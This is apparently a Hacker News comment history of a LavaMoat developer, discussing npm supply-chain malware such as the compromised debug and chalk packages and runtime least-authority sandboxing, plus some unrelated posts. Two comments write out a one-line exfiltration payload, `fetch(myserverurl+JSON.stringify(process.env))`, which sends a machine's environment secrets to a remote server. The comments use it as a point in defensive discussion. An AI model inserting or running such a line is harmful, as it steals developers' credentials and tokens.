Hacker News Reader

naugturon I almost got hacked by a 'job interview'

We're making software that doesn't rely on filtering, but Principle Of Least Authority at runtime.

https://lavamoat.github.io

naugturon I almost got hacked by a 'job interview'

Here's a tool that protects you from these kind of things without the necessity to set up an environment per project, just simple one-time install.

https://github.com/lavamoat/kipuka

It's an upcoming part of the LavaMoat toolkit (that got on main page here recently for blocking the qix malware)

naugturon You too can run malware from NPM (I mean without consequences)

Again, that's why LavaMoat exists. Set it up once and it will block many classes of attacks regardless of where they come from.

naugturon You too can run malware from NPM (I mean without consequences)

1. Control lifecycle scripts with @lavamoat/allow-scripts

2. Do local dev with https://github.com/lavamoat/kipuka installed (I'm working on it)

3. If you don't permit the APIs used for loading DLLs they won't load themselves, so runtime protections are valid too. But I recall the DLLs were loaded in lifecycle script.

naugturon You too can run malware from NPM (I mean without consequences)

You need to juggle two builds - one while you're iterating rapidly and another when you're near start and finish of the increment. Not a lot of work compared to auditing a thousand packages.

Try it and see. There's tradeoffs but if you roll it out, it is very powerful.

naugturon You too can run malware from NPM (I mean without consequences)

It's based on HardenedJS.org

The sandbox itself is tight, there's a bug bounty even.

The same technology is behind metamask snaps - plugins in a browser extension.

And Moddable has their own implementation

The biggest problem is endowing too powerful capabilities.

We've got ambitious plans for isolating DOM, but that already failed once before.

naugturon You too can run malware from NPM (I mean without consequences)

Yup, and thanks - I should have made the comment myself but got distracted.

naugturon You too can run malware from NPM (I mean without consequences)

Very good summary.

Most other ecosystems are as vulnerable if not more, they just lack the scale.

OP, The malware is coming to the ecosystem you prefer. Give it time.

naugturon You too can run malware from NPM (I mean without consequences)

- the attack it shipped was not a great fit for the packages compromised. `fetch(myserverurl+JSON.stringify(process.env))` would be a much more profitable payload - naive obfuscation makes lights go red in so many places it'd be better to not obfuscate at all. - the addresses were marked as malicious by Blockaid sooner than the package could reach production in most apps. Most wallets were ready to warn users early enough.

naugturon You too can run malware from NPM (I mean without consequences)

Vibe coding brings up the need for even more granular isolation. I'm on it ;)

LavaMoat Webpack Plugin will soom have the ability to treat parts of your app same as it currently treats packages - with isolation and policy limiting what they can do.

naugturon You too can run malware from NPM (I mean without consequences)

Yes, I am. I came up with the first successful attempt at integrating the Principle of Least Authority software in LavaMoat with Webpack and wrote the LavaMoat Webpack Plugin.

Also, together with a bunch of great folks at TC39 we're trying to get enough building blocks for the same-realm isolation primitives into the language.

see hardenedjs.org too

I'm doing the rounds promoting the project today because at this point all we need to eliminate certain types of malware is get LavaMoat a lot more adoption in the ecosystem.

( and that'll give me bug reports and maybe even contributions? :) )

naugturon You too can run malware from NPM (I mean without consequences)

That's why we never went with using keys in CI for publishing. Local machine publishing requires a 2fa.

automated publishing should use something like Pagerduty to signal that a version is being published to a group of maintainers and it requires an approval to go through. And any one of them can veto within 5 minutes.

But we don't have that, so gotta be careful and prepare for the worst (use LavaMoat for that)

naugturon You too can run malware from NPM (I mean without consequences)

socket.dev will find most malware within hours of it being published.

with LavaMoat most malware won't work even if you don't detect it.

naugturon You too can run malware from NPM (I mean without consequences)

It's within the same process and realm (window) It has a cost, but it's nothing compared to putting every dependency of a large app in a separate iframe/process and figure out a way for them to communicate.

naugturon You too can run malware from NPM (I mean without consequences)

there's only one transaction that's making up most of it. Someone lost some serious 0.1 ETH or so.

500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a support call scammer makes their owner in a day.

This was an attack on legitimate npm packages that end up in maybe hundreds of thousands of developer machines building tens of thousands applications.

`fetch(myserverurl+JSON.stringify(process.env)` would be orders of magnitude more profitable as payload.

naugturon You too can run malware from NPM (I mean without consequences)

I work with people who understand this stuff :D But if I see a transaction for thousands or millions of a coin I've never heard of with $ value of about 1 it's likely a shitcoin and I am guessing - mockery.

naugturon You too can run malware from NPM (I mean without consequences)

Absolutely not. you get npm packages by pulling not them pushing them to you as soon as a new version exist. The likelyhood of you updating instantly is close to zero and if not, you should set your stuff up so that it is. Many ways to do that. Even better if compared to a month or two - which is how long it often takes for a researcher to find a carefully planted malware.

Anyway, the case where reactive tools (detections, warnings) don't catch it is why LavaMoat exists. It prevents whole classes of malware from working at runtime. The article (and repo) demonstrates that.

naugturon You too can run malware from NPM (I mean without consequences)

If you mean during development - you can opt out of using lavamoat in development for your webpack bundle (I'm assuming you're not running your untested code on valuable data)

naugturon You too can run malware from NPM (I mean without consequences)

packages published to npm are immutable. if you pin a version, you get the same exact version as long as MSFT servers are not compromised.

Installing from git is not recommended and has more issues than you might think https://dev.to/naugtur/a-phish-on-a-fork-no-chips-52cc

You are supposed to update packages, even if you use lockfiles (very common) or tools that pin your direct dependencies (renovate etc. not so common) And when you do update, will you read the package and all of its updated dependencies?

It's a hard problem with a bunch of tradeoffs.

Can be done, with enough attention and tools. Tools include LavaMoat :)

naugturon You too can run malware from NPM (I mean without consequences)

npm is on life support by msft. But there's socket.dev that can tell you if a package is malicious within hours of it being published.

naugturon You too can run malware from NPM (I mean without consequences)

click through to the article, it has a link to a view that lists the laughable profit

naugturon You too can run malware from NPM (I mean without consequences)

You're using HMR in your app's production bundle? How?

naugturon NPM debug and chalk packages compromised

You too can run malware from NPM (I mean without consequences)

https://github.com/naugtur/running-qix-malware?tab=readme-ov...

naugturon [dead]

One more thing to beware in the world of software supply chain risks.

Read if you care about your GitHub Actions or dependencies.

Or read it for the fish puns.

naugturon The Time I Lied to the CTO and Saved the Day

In my first adult job out of Uni I was working for a startup building a suite of tools for usability tracking/testing and alike. One of our main offerings was gonna be something similar to what HotJar is nowadays. We were busy with other stuff and I considered the requirements for the tool somewhat impossible ;) So it got outsourced.

The outsourcing company was a tiny local software house. They delivered on every single requirement in under 3 months. Despite my better judgement I was impressed.

Until we gave ot to an actual customer. After some back and forth with initial errors (relatable) it started running on a small portion of traffic. A week of running the tool on their website was 100GB of file storage and 100GB of storage behind postgress db.

Utterly unsustainable.

A few weeks later we had a "do what you want" sprint. I mean the engineering team decided (I know, different story tho) every 10 sprints we get one to do whatever we think makes sense for the product.

So a brilliant new intern and I got to come up with new requirements to fulfill the same usecase but without the need to store colossal amount of data per visit.

We wrote a new thing in 2 weeks and had a working demo. We used the next month to productize it.

My initial.design was presenting user behavior as scenes, sort of like a comic book, instead of animating stuff to pretend it's a video. Over time product got that too tho.

When the startup folded (yet another story) the technology behind that tool was the thing that got sold.

Moral of the story? Whether you lie or not, bottom-up decision making can be pivotal to software products if you're lucky.

naugturon [dead]

After hearing about a new concept in JavaScript, our protagonist (me) proceeds to tell Chat GPT to teach them using simple examples. The idea mostly works.

naugturon A visual interactive guide to Bloom filters

Yes, that's one of the bloom successors I was looking for. Thanks.

Link for people reading this: https://systemdesign.one/quotient-filter-explained/

I remember there's more obscure newer stuff someone showed me in 2019 tho.

naugturon A visual interactive guide to Bloom filters

Interesting! 2 makes me wonder if it could work as a very bad but space efficient key-value store ;D

naugturon A visual interactive guide to Bloom filters

I remember discussing bloom and cuckoo filters a while back and someone linked.to.great papers from late 2010s with much more advanced probabilistic structures that were handling modification much better or had other interesting properties. Anyone here knows where to look for these? I didn't take notes...

naugturon Show HN: Run unsafe user generated JavaScript in the browser

Agoric moved forward and Realms gave way to SES

https://github.com/endojs/endo/tree/master/packages/ses

And Endo is a set of tools (being) built around it to make it more practical for particular usecases